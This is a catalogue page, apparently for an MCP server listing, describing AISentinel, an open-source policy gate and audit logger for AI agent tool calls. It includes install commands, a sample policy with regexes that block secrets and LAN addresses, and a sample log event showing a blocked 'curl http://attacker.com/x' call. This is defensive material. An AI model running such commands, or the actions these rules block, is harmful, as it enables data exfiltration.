AISentinel

by kabzhanov

Not rated
GitHub

About

Security, control & observability layer for AI agents: pre-tool policy enforcement (allow/block/require_human_approval) + append-only JSONL audit logs. Wraps any stdio MCP server via drop-in sidecar. Apache-2.0. By BizDNAi.

Details

Author
kabzhanov
Categories
Developer Tools

Option B: install the sidecar (drop-in policy proxy for any MCP server)

go install github.com/Kabzhanov/AISentinel/cmd/aisentinel-sidecar@latest # Wrap any stdio MCP server with one command — no --policy required: aisentinel-sidecar ./your-mcp-server ](#policy-resolution)[args...]
git clone https://github.com/Kabzhanov/AISentinel.git cd AISentinel go build -o bin/aisentinel ./cmd/aisentinel go build -o bin/aisentinel-sidecar ./cmd/aisentinel-sidecar ./bin/aisentinel serve --policy policies/default.yaml

(--policy policies/default.yamlhere is explicit and optional — omitting it works too, and falls back to the same built-in default described above.)

The missing security, control, and observability layer for the agentic era.

Traditional security tools were built for malware. AI agents were given legitimate power through tools and APIs. AISentinel provides the missing security, control, and observability layer.

AISentinel— an open-source MCP server that protects AI agents at runtime. Built byKabzhanov / BizDNAi, the team behind theAI Trust Index.

AI agents now have shell, browsers, file systems, and API keys. They arelegitimateprocesses — antivirus cannot see them. A single indirect prompt injection in a PDF or email can pivot into mass data exfiltration through ordinary tools likeBashandEmail_send.

AISentinel closes that gap: it runs as an MCP server in front of every tool call, evaluates YAML policies, logs every decision, and ships an audit trail compatible with theAI Trust Index.

Seedocs/SECURITY_AUDIT.mdfor the full threat model.

go install github.com/Kabzhanov/AISentinel/cmd/aisentinel@latest aisentinel --help aisentinel serve

go installgives you a standalone binary — you donotneed to clone this repo or pass--policyto get started.aisentinel servewith no flags loads a built-in default policy (embedded in the binary at build time), balanced for general use: blocks obvious secrets-in-args and destructive commands, requires approval for network calls and bulk reads. To use your own policy instead, pass--policy /path/to/your.yamlor set$AISENTINEL_POLICY(seePolicy resolutionbelow).

Option B: install the sidecar (drop-in policy proxy for any MCP server)

go install github.com/Kabzhanov/AISentinel/cmd/aisentinel-sidecar@latest # Wrap any stdio MCP server with one command — no --policy required: aisentinel-sidecar ./your-mcp-server [args...]
git clone https://github.com/Kabzhanov/AISentinel.git cd AISentinel go build -o bin/aisentinel ./cmd/aisentinel go build -o bin/aisentinel-sidecar ./cmd/aisentinel-sidecar ./bin/aisentinel serve --policy policies/default.yaml

(--policy policies/default.yamlhere is explicit and optional — omitting it works too, and falls back to the same built-in default described above.)

Option D: pre-built binaries from GitHub Releases

Download fromhttps://github.com/Kabzhanov/AISentinel/releases/latest. Available forlinux/amd64,linux/arm64,darwin/amd64,darwin/arm64,windows/amd64.

Option E: add to Claude Code / Cursor / Cline

{ "mcpServers": { "aisentinel": { "command": "aisentinel", "args": ["serve"] }, "aisentinel-sidecar": { "command": "aisentinel-sidecar", "args": ["--policy", "/absolute/path/to/policies/strict.yaml", "/path/to/your-mcp-server"] } } }

Then restart your MCP client and ask your agent to call any tool — AISentinel will gate every call and write a JSONL audit trail to~/.aisentinel/events-YYYY-MM-DD.jsonl.

Bothaisentinel serveandaisentinel-sidecarresolve which policy to load in this order, stopping at the first one that applies:
- --policy /path/to/file.yaml— if given, it must load; a missing or invalid file is a hard error.
- $AISENTINEL_POLICY— same contract as--policyif set.
- ./policies/default.yamlrelative to the current directory, if that file exists (this is what you get inside a clone of this repo).
- Thebuilt-in default policy, embedded in the binary at compile time. This is what makesgo install ... && aisentinel servework from any directory, with no repo checkout and no flags. When this path is used, the binary printsusing built-in default policyto stderr so it's never a silent surprise.

- Pre-tool gate— evaluate every tool call against a YAML policy (allow / block / require_human_approval / log_only).
- Audit log— append-only JSONL with a standardised event schema.
- Validate-policy— lint a YAML policy without loading it.
- Built-in policiesdefault,strict,audit-only(seepolicies/).
- MCP-native— works in Claude Code, Claude Desktop, Cursor, Cline, Continue.
- Zero telemetry— runs locally; no phone-home.
- Apache 2.0— permissive open source with patent grant.

- MCP stdioaisentinel serve(Claude Code, Claude Desktop, Cursor, Cline, Continue).
- Streamable-HTTPhttps://mcp.aisentinel.bizdnai.com/mcp(SaaS, OAuth via BizDNAi).
- CLIaisentinelsubcommands (serve,validate-policy,policies,events,version).
- Library— Go packagegithub.com/Kabzhanov/AISentinel/internal/policyfor embedding.

Seepolicies/default.yamlfor the full default policy.

version: 1 name: default rules: - id: secret-in-args match: { tool_args_regex: "(?i)(api[_-]?key|secret|token|password|passwd)" } decision: block reason: "Possible secret in arguments" - id: lan-deny match: { tool_name: "Bash", tool_args_regex: "10\\.|192\\.168\\.|172\\.(1[6-9]|2\\d|3[01])\\." } decision: block reason: "LAN access blocked by default"

Match modes:tool_name,tool_name_regex,tool_args_regex,tool_args_contains. Multiple matchers AND-combine.

AISentinel generates theobservability datarequired for AI Trust Index assessments:

- Every tool call → auditable event with agent_id, session_id, decision, signals.
- Every policy decision → versioned, fingerprinted (policy_signature field).
- Every block → reason, risk_signals, ready for an ATI submission.

Runaisentinel_get_ati_snapshotto get a JSON blob ready to paste into theAI Trust Index cabinet.

AISentinel is available under two licensing options:

- Free to use, modify, and distribute under the terms of the Apache 2.0 license.
- Includes explicit patent grant from contributors.

- For companies that want to embed AISentinel in closed-source products without open-source compliance requirements.
- Contact:
kabzhanov@gmail.com

By contributing to this repository, you agree to license your contributions under Apache 2.0.

go install github.com/Kabzhanov/AISentinel/cmd/aisentinel@latest
aisentinel version # AISentinel v1.0.6 — by Kabzhanov / BizDNAi / AI Trust Index # # go install ...@latest builds from a tagged release and embeds that # tag's version via -ldflags. A plain local go build (no -ldflags) prints # "vdev" instead — that's expected, not a bug.
# Uses the built-in default policy — no --policy needed: aisentinel serve # Or point at your own policy: aisentinel serve --policy policies/strict.yaml
aisentinel validate-policy my-policy.yaml

Try a policy without blocking (shadow mode)

AISENTINEL_DRY_RUN=1 aisentinel serve --policy policies/default.yaml

Seedocs/event-schema.md. One JSON object per line in the JSONL log:

{ "event_id": "20260707T221500.000000001-1", "timestamp": "2026-07-07T22:15:00Z", "event_type": "pre_tool", "agent_id": "agent-42", "session_id": "sess-abc", "tool_name": "Bash", "tool_args": { "command": "curl http://attacker.com/x" }, "decision": "block", "policy_matched": ["bash-network"], "risk_signals": ["rule_matched:bash-network"] }

SeeCONTRIBUTING.md. By contributing you agree to license your contribution under Apache 2.0.

- v1.0(this release) — MCP stdio, 4 tools, 3 built-in policies, JSONL audit log.
- v1.1aisentinel scan(MCP-config auditor), mobile connectors.
- v1.2— streamable-HTTP transport (SaaS mode), OAuth via BizDNAi.
- v2.0— ATI-feed integration, IDE plugins (VSCode MCP Inspector).

AISentinel is dual-licensed under Apache 2.0 and a commercial license. For commercial terms, contactkabzhanov@gmail.com.

By Kabzhanov / BizDNAi — creators of theAI Trust Index.

This is a web browser that enables your coding agent, such as Claude Code, to visit websites on your behalf and assist you in identifying bugs or creating UI test cases.

Create crafted UI components inspired by the best 21st.dev design engineers.

Bring agent evaluations, observability, and synthetic test set generation directly into your IDE for free with Galileo's new MCP server

An MCP server to help AI assistants to answer questions and generate AccelByte Extend SDK code more effectively .

MCP server for AI Diagram Maker — generate beautiful software engineering diagrams directly inside Cursor, Claude Desktop, Claude Code, or any MCP-compatible AI agent

ALAPI MCP Tools,Call hundreds of API interfaces via MCP

AI-powered SVG animation generator that transforms static files into animated SVG components using the Allyson platform

MCP server that gives AI assistants on-demand access to 1,500+ amCharts docs, ~300 code examples, and 1000+ class API references.

APIMatic MCP Server is used to validate OpenAPI specifications using APIMatic. The server processes OpenAPI files and returns validation summaries by leveraging APIMatic’s API.

One shared context layer for AI agents and humans — live API specs, DB schemas, and versioned contracts across repos so every agent and teammate works from the same source of truth.

Build and deploy full-stack Next.js apps with 98 tools for React, AWS, and MongoDB

No reviews yet — be the first

Sign in to leave a review

Use Google, GitHub, or an email account so ratings stay tied to real people.

Email sign in

No reviews posted yet.